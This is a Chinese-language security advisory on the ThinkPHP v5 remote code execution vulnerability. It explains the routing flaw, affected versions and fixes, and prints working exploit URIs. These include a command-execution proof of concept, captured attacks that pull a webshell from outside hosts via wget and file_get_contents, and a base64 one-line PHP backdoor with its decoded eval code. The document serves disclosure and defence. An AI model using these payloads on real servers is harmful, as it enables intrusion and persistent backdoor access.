ThinkPHP v5 新漏洞攻击案例首曝光,阿里云已可告警并拦截
字数 1476 2025-08-29 08:31:35
ThinkPHP v5 远程代码执行漏洞分析与防护指南
漏洞概述
2018年12月10日,ThinkPHP v5系列框架曝出一个严重的远程代码执行漏洞(RCE),该漏洞由于框架对控制器名没有进行足够的安全检测导致。攻击者可以构造特定请求,在未开启强制路由的情况下直接执行任意代码,获取服务器权限。
受影响版本
- ThinkPHP v5.0系列 < 5.0.23
- ThinkPHP v5.1系列 < 5.1.31
漏洞原理深度分析
路由解析缺陷
漏洞根源在于ThinkPHP框架的路由解析机制存在安全隐患:
-
parseUrlPath函数问题:
- 位于
/thinkphp/library/think/Route.php - 该函数调用path函数解析pathinfo中的路由信息
- 使用
/切分URL时未进行任何过滤
- 位于
-
pathinfo获取问题:
- 位于
/thinkphp/library/think/Request.php - 通过
$_GET['s']获取pathinfo参数 - 攻击者可利用此可控参数注入恶意命令
- 位于
-
控制器实例化问题:
- 位于
/thinkphp/library/think/Loader.php controller方法调用parseModuleAndClass直接解析$name- 当$name包含反斜杠
\时直接作为方法和类实例化 - 攻击者可构造特定命名空间和类名来执行任意方法
- 位于
漏洞利用链
攻击者利用链如下:
- 通过
s参数控制pathinfo - 构造包含
\think\app\invokefunction的特殊请求 - 利用
call_user_func_array调用危险函数 - 通过
vars参数传递执行命令
漏洞复现
在ThinkPHP v5.0.22环境中,攻击者可构造如下URL执行命令:
http://target/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ls
这将执行ls命令并返回结果。
真实攻击案例分析
阿里云态势感知捕获到多种攻击方式,主要分为以下几类:
1. 下载Webshell
攻击URI示例:
/admin.php?s=admin/think\app/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]=wget+-O+help.php+http%3a%2f%2ftzrj.host.smartgslb.com%2fhelp.php.txt
攻击流程:
- 使用
shell_exec执行wget命令 - 从远程服务器下载Webshell后门文件
- 攻击者通过Webshell获得服务器控制权
2. 文件操作写入Webshell
攻击URI示例:
/?s=admin/\think\app/invokefunction&function=call_user_func_array&vars[0]=assert&vars[1][]=file_put_contents('content.php',file_get_contents('http://jzy1115.host3v.vip'));
攻击流程:
- 使用
file_get_contents获取远程Webshell内容 - 使用
file_put_contents写入本地文件 - 创建可执行PHP后门
3. 直接写入一句话木马
攻击URI示例:
/admin.php?s=admin/\think\app/invokefunction&function=call_user_func_array&vars[0]=assert&vars[1][]=file_put_contents('./vendor/autoclass.php',base64_decode('PD9waHAgJHBhc3M9JF9QT1NUWyczNjB2ZXJ5J107ZXZhbCgkcGFzcyk7Pz4='))
解码后内容:
<?php $pass=$_POST['360very'];eval($pass);?>
漏洞影响范围
- 约10%的网站使用受影响版本的ThinkPHP框架
- 主要影响行业:电子商务、金融服务、互联网游戏等
- 攻击趋势在漏洞曝光后呈暴增态势
防护措施
1. 官方修复方案
升级至安全版本:
- ThinkPHP v5.0.23
- ThinkPHP v5.1.31
2. 临时缓解措施
- 开启强制路由配置
- 禁用危险函数如
system、shell_exec、assert等 - 限制
$_GET['s']参数的输入
3. 阿里云防护方案
- 使用阿里云态势感知进行攻击检测
- 部署WAF产品拦截攻击请求
- 启用云防火墙规则
总结
ThinkPHP v5系列框架的此漏洞危害严重,攻击者可轻易获取服务器权限。建议所有使用ThinkPHP框架的用户立即检查版本并及时升级。对于无法立即升级的系统,应采取严格的输入过滤和函数禁用措施,同时部署专业的安全防护产品。
参考链接:
- 漏洞详情:https://blog.thinkphp.cn/869075